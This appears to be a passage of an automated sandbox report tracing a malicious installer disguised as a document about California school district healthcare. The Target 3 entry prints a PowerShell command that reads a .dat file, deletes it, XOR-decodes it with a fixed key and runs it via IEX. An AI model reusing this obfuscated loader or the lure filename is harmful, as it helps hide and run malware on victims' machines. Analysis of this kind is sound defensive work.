                                                                                                Wow64 process (32bit):true
                                                                                                Commandline:"C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe"
                                                                                                Imagebase:0x400000
                                                                                                File size:321'527'232 bytes
                                                                                                MD5 hash:988955BFA46336BE7EB44F11F5427699
                                                                                                Has elevated privileges:true
                                                                                                Has administrator privileges:true
                                                                                                Programmed in:Borland Delphi
                                                                                                Reputation:low
                                                                                                Has exited:true

                                                                                                General

                                                                                                Target ID:2
                                                                                                Start time:14:07:39
                                                                                                Start date:13/11/2024
                                                                                                Path:C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
                                                                                                Wow64 process (32bit):true
                                                                                                Commandline:"C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$20408,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe"
                                                                                                Imagebase:0x400000
                                                                                                File size:3'157'504 bytes
                                                                                                MD5 hash:F386E39F745DF29C2619F21BCA6DAEB7
                                                                                                Has elevated privileges:true
                                                                                                Has administrator privileges:true
                                                                                                Programmed in:Borland Delphi
                                                                                                Antivirus matches:
                                                                                                • Detection: 5%, ReversingLabs
                                                                                                Reputation:low
                                                                                                Has exited:true

                                                                                                General

                                                                                                Target ID:3
                                                                                                Start time:14:07:39
                                                                                                Start date:13/11/2024
                                                                                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                Wow64 process (32bit):
                                                                                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))"
                                                                                                Imagebase:
                                                                                                File size:433'152 bytes
                                                                                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                Has elevated privileges:
                                                                                                Has administrator privileges:
                                                                                                Programmed in:C, C++ or other language
                                                                                                Reputation:high
                                                                                                Has exited:false

                                                                                                General

                                                                                                Target ID:4
                                                                                                Start time:14:07:39
                                                                                                Start date:13/11/2024
                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                Wow64 process (32bit):false
                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                Imagebase:0x7ff6a0a90000
                                                                                                File size:875'008 bytes
                                                                                                MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                Has elevated privileges:true
                                                                                                Has administrator privileges:true
                                                                                                Programmed in:C, C++ or other language
                                                                                                Reputation:high
                                                                                                Has exited:false

                                                                                                General

                                                                                                Target ID:5
                                                                                                Start time:14:07:40
                                                                                                Start date:13/11/2024
                                                                                                Path:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                Wow64 process (32bit):true
                                                                                                Commandline:"C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe"
                                                                                                Imagebase:0xe0000
                                                                                                File size:4'616'696 bytes
                                                                                                MD5 hash:43843D75A5EEAD8EE3B71EE2ADCBA3FE
                                                                                                Has elevated privileges:true
                                                                                                Has administrator privileges:true
                                                                                                Programmed in:C, C++ or other language
                                                                                                Antivirus matches:
                                                                                                • Detection: 3%, ReversingLabs
                                                                                                Reputation:low
                                                                                                Has exited:false

                                                                                                General

                                                                                                Target ID:6
                                                                                                Start time:14:07:46
                                                                                                Start date:13/11/2024
                                                                                                Path:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                Wow64 process (32bit):true
                                                                                                Commandline:"C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe" --pipename={7AA9B349-E76F-4F7B-A84C-34DE83BEAAE8} --edtWorkFlow=1
                                                                                                Imagebase:0xe0000
                                                                                                File size:4'616'696 bytes
                                                                                                MD5 hash:43843D75A5EEAD8EE3B71EE2ADCBA3FE
                                                                                                Has elevated privileges:true
                                                                                                Has administrator privileges:true
                                                                                                Programmed in:C, C++ or other language
                                                                                                Reputation:low
                                                                                                Has exited:false

                                                                                                General

                                                                                                Target ID:7
                                                                                                Start time:14:07:52
                                                                                                Start date:13/11/2024
                                                                                                Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                Wow64 process (32bit):false
                                                                                                Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&locale=en_US&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation
                                                                                                Imagebase:0x7ff72cc60000
                                                                                                File size:2'742'376 bytes
                                                                                                MD5 hash:BB7C48CDDDE076E7EB44022520F40F77
                                                                                                Has elevated privileges:true
                                                                                                Has administrator privileges:true
                                                                                                Programmed in:C, C++ or other language
                                                                                                Reputation:moderate
                                                                                                Has exited:false

                                                                                                General

                                                                                                Target ID:8
                                                                                                Start time:14:07:53
                                                                                                Start date:13/11/2024
                                                                                                Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                Wow64 process (32bit):false
                                                                                                Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2228,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2244 /prefetch:3
                                                                                                Imagebase:0x7ff7c6180000
                                                                                                File size:2'742'376 bytes
                                                                                                MD5 hash:BB7C48CDDDE076E7EB44022520F40F77
                                                                                                Has elevated privileges:true
                                                                                                Has administrator privileges:true
                                                                                                Programmed in:C, C++ or other language
                                                                                                Reputation:moderate
                                                                                                Has exited:false

                                                                                                General

                                                                                                Target ID:12
                                                                                                Start time:14:08:02
                                                                                                Start date:13/11/2024
                                                                                                Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                Wow64 process (32bit):false
                                                                                                Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --no-subproc-heap-profiling --field-trial-handle=5680,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=6056 /prefetch:8
                                                                                                Imagebase:0x7ff72cc60000
                                                                                                File size:2'742'376 bytes
                                                                                                MD5 hash:BB7C48CDDDE076E7EB44022520F40F77
                                                                                                Has elevated privileges:false
                                                                                                Has administrator privileges:false
                                                                                                Programmed in:C, C++ or other language
                                                                                                Reputation:moderate
                                                                                                Has exited:false

                                                                                                General

                                                                                                Target ID:13
                                                                                                Start time:14:08:02
                                                                                                Start date:13/11/2024
                                                                                                Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                Wow64 process (32bit):false
                                                                                                Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --no-subproc-heap-profiling --field-trial-handle=5912,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=3520 /prefetch:8
                                                                                                Imagebase:0x7ff72cc60000
                                                                                                File size:2'742'376 bytes
                                                                                                MD5 hash:BB7C48CDDDE076E7EB44022520F40F77
                                                                                                Has elevated privileges:true
                                                                                                Has administrator privileges:true
                                                                                                Programmed in:C, C++ or other language
                                                                                                Reputation:moderate
                                                                                                Has exited:true

                                                                                                General

                                                                                                Target ID:14
                                                                                                Start time:14:08:54
                                                                                                Start date:13/11/2024
                                                                                                Path:C:\Windows\System32\svchost.exe
                                                                                                Wow64 process (32bit):false
                                                                                                Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                Imagebase:0x7ff7c6180000
                                                                                                File size:57'360 bytes
                                                                                                MD5 hash:F586835082F632DC8D9404D83BC16316
                                                                                                Has elevated privileges:true
                                                                                                Has administrator privileges:true
                                                                                                Programmed in:C, C++ or other language
                                                                                                Has exited:false

                                                                                                Disassembly

                                                                                                ⊘No disassembly